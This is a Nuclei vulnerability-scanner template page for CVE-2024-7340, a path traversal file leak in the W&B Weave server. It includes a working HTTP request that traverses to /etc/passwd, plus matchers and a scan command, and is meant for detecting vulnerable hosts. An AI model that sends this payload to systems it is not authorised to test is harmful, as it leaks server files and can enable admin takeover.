W&B Weave Server - Remote Arbitrary File Leak

ID: CVE-2024-7340

Severity: high

Author: iamnoooob,rootxharsh,pdresearch

Tags: cve,cve2024,lfr,weave,wandb

Description

The Weave server API allows remote users to fetch files from a specific directory, but due to a lack of input validation, it is possible to traverse and leak arbitrary files remotely. In various common scenarios, this allows a low-privileged user to assume the role of the server admin.

YAML Source

id: CVE-2024-7340

info:
  name: W&B Weave Server - Remote Arbitrary File Leak
  author: iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    The Weave server API allows remote users to fetch files from a specific directory, but due to a lack of input validation, it is possible to traverse and leak arbitrary files remotely. In various common scenarios, this allows a low-privileged user to assume the role of the server admin.
  reference:
    - https://github.com/advisories/GHSA-r49h-6qxq-624f
    - https://github.com/wandb/weave/pull/1657
    - https://research.jfrog.com/vulnerabilities/wandb-weave-server-remote-arbitrary-file-leak-jfsa-2024-001039248/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2024-7340
    epss-score: 0.00043
    epss-percentile: 0.09404
  metadata:
    verified: true
    max-request: 1
  tags: cve,cve2024,lfr,weave,wandb

http:
  - raw:
      - |
        GET /__weave/file/tmp/weave/fs/../../../etc/passwd HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: word
        part: header
        words:
          - "application/octet-stream"
          - "filename=passwd"
        condition: and

      - type: status
        status:
          - 200
# digest: 490a004630440220550fc24672396f6af6f06cf8091045f39d8b87a69620a2411c349daec932e24a02202f82bf368df9038097439c2fec779ae3ea77eaba9f15539b8dd0979c38f03d59:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-7340.yaml"

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